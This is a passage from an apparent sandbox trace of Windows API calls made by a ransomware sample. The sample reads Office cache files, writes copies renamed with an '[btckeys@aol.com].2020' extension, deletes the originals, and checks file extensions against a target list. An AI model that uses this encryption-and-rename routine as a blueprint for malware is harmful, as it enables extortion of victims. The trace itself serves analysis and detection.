Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0065.603] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=596341) returned 1 [0065.603] CloseHandle (hObject=0x1bc) returned 1 [0065.603] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0065.604] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0065.604] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0065.604] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0065.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0065.604] GetLastError () returned 0x0 [0065.604] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x91975, lpOverlapped=0x0) returned 1 [0065.629] WriteFile (in: hFile=0x170, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x91980, lpOverlapped=0x0) returned 1 [0066.182] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0066.185] WriteFile (in: hFile=0x170, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.186] SetEndOfFile (hFile=0x170) returned 1 [0066.186] CloseHandle (hObject=0x170) returned 1 [0066.194] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.194] SetEndOfFile (hFile=0x1bc) returned 1 [0066.200] CloseHandle (hObject=0x1bc) returned 1 [0066.200] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.201] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0066.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.201] lstrlenW (lpString=".doc") returned 4 [0066.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.202] lstrlenW (lpString=".docx") returned 5 [0066.202] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0066.202] lstrlenW (lpString=".pdf") returned 4 [0066.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.202] lstrlenW (lpString=".xls") returned 4 [0066.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.202] lstrlenW (lpString=".xlsx") returned 5 [0066.202] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0066.202] lstrlenW (lpString=".ppt") returned 4 [0066.202] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.202] lstrlenW (lpString=".zip") returned 4 [0066.202] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.202] lstrlenW (lpString=".rar") returned 4 [0066.202] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.202] lstrlenW (lpString=".bz2") returned 4 [0066.202] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.202] lstrlenW (lpString=".7z") returned 3 [0066.202] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.202] lstrlenW (lpString=".dbf") returned 4 [0066.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.203] lstrlenW (lpString=".1cd") returned 4 [0066.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.203] lstrlenW (lpString=".jpg") returned 4 [0066.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.204] lstrlenW (lpString=".doc") returned 4 [0066.204] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString=".docx") returned 5 [0066.204] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0066.204] lstrlenW (lpString=".pdf") returned 4 [0066.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString=".xls") returned 4 [0066.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString=".xlsx") returned 5 [0066.204] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0066.204] lstrlenW (lpString=".ppt") returned 4 [0066.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.204] lstrlenW (lpString=".zip") returned 4 [0066.204] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.204] lstrlenW (lpString=".rar") returned 4 [0066.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString=".bz2") returned 4 [0066.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString=".7z") returned 3 [0066.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.204] lstrlenW (lpString=".dbf") returned 4 [0066.204] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.204] lstrlenW (lpString=".1cd") returned 4 [0066.204] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.205] lstrlenW (lpString=".jpg") returned 4 [0066.205] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.205] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.205] lstrlenW (lpString="Office32WW.xml") returned 14 [0066.205] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.206] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=4274) returned 1 [0066.206] CloseHandle (hObject=0x1bc) returned 1 [0066.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0066.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.207] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.207] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0066.207] GetLastError () returned 0x0 [0066.208] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x10b2, lpOverlapped=0x0) returned 1 [0066.210] WriteFile (in: hFile=0x170, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0066.211] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0066.211] WriteFile (in: hFile=0x170, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0066.212] SetEndOfFile (hFile=0x170) returned 1 [0066.212] CloseHandle (hObject=0x170) returned 1 [0066.213] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.213] SetEndOfFile (hFile=0x1bc) returned 1 [0066.214] CloseHandle (hObject=0x1bc) returned 1 [0066.214] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.214] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0066.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.215] lstrlenW (lpString=".doc") returned 4 [0066.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.215] lstrlenW (lpString=".docx") returned 5 [0066.215] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.215] lstrlenW (lpString=".pdf") returned 4 [0066.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.215] lstrlenW (lpString=".xls") returned 4 [0066.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.215] lstrlenW (lpString=".xlsx") returned 5 [0066.215] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.215] lstrlenW (lpString=".ppt") returned 4 [0066.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.215] lstrlenW (lpString=".zip") returned 4 [0066.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.215] lstrlenW (lpString=".rar") returned 4 [0066.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.215] lstrlenW (lpString=".bz2") returned 4 [0066.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.215] lstrlenW (lpString=".7z") returned 3 [0066.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.215] lstrlenW (lpString=".dbf") returned 4 [0066.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.216] lstrlenW (lpString=".1cd") returned 4 [0066.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.216] lstrlenW (lpString=".jpg") returned 4 [0066.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.216] lstrlenW (lpString=".doc") returned 4 [0066.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString=".docx") returned 5 [0066.216] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.216] lstrlenW (lpString=".pdf") returned 4 [0066.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString=".xls") returned 4 [0066.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString=".xlsx") returned 5 [0066.216] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.216] lstrlenW (lpString=".ppt") returned 4 [0066.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.216] lstrlenW (lpString=".zip") returned 4 [0066.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.216] lstrlenW (lpString=".rar") returned 4 [0066.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.217] lstrlenW (lpString=".bz2") returned 4 [0066.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.217] lstrlenW (lpString=".7z") returned 3 [0066.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.217] lstrlenW (lpString=".dbf") returned 4 [0066.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.217] lstrlenW (lpString=".1cd") returned 4 [0066.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.217] lstrlenW (lpString=".jpg") returned 4 [0066.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.217] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.217] lstrlenW (lpString="Setup.xml") returned 9 [0066.217] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0066.218] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=20577) returned 1 [0066.218] CloseHandle (hObject=0x1bc) returned 1 [0066.218] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0066.884] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.885] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.885] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0066.885] GetLastError () returned 0x0 [0066.885] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x5061, lpOverlapped=0x0) returned 1 [0066.888] WriteFile (in: hFile=0x1a8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x5070, lpOverlapped=0x0) returned 1 [0066.889] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0066.889] WriteFile (in: hFile=0x1a8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0066.889] SetEndOfFile (hFile=0x1a8) returned 1 [0066.890] CloseHandle (hObject=0x1a8) returned 1 [0066.892] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0066.892] SetEndOfFile (hFile=0x188) returned 1 [0066.893] CloseHandle (hObject=0x188) returned 1 [0066.893] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.894] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0066.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.894] lstrlenW (lpString=".doc") returned 4 [0066.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.894] lstrlenW (lpString=".docx") returned 5 [0066.894] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.894] lstrlenW (lpString=".pdf") returned 4 [0066.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.894] lstrlenW (lpString=".xls") returned 4 [0066.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.894] lstrlenW (lpString=".xlsx") returned 5 [0066.894] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.894] lstrlenW (lpString=".ppt") returned 4 [0066.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.894] lstrlenW (lpString=".zip") returned 4 [0066.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.895] lstrlenW (lpString=".rar") returned 4 [0066.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString=".bz2") returned 4 [0066.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString=".7z") returned 3 [0066.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.895] lstrlenW (lpString=".dbf") returned 4 [0066.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.895] lstrlenW (lpString=".1cd") returned 4 [0066.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.895] lstrlenW (lpString=".jpg") returned 4 [0066.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.895] lstrlenW (lpString=".doc") returned 4 [0066.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString=".docx") returned 5 [0066.895] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.895] lstrlenW (lpString=".pdf") returned 4 [0066.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString=".xls") returned 4 [0066.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.895] lstrlenW (lpString=".xlsx") returned 5 [0066.896] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.896] lstrlenW (lpString=".ppt") returned 4 [0066.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.896] lstrlenW (lpString=".zip") returned 4 [0066.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.896] lstrlenW (lpString=".rar") returned 4 [0066.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.896] lstrlenW (lpString=".bz2") returned 4 [0066.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.896] lstrlenW (lpString=".7z") returned 3 [0066.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.896] lstrlenW (lpString=".dbf") returned 4 [0066.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.896] lstrlenW (lpString=".1cd") returned 4 [0066.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.896] lstrlenW (lpString="C:\\MSOCache\\All 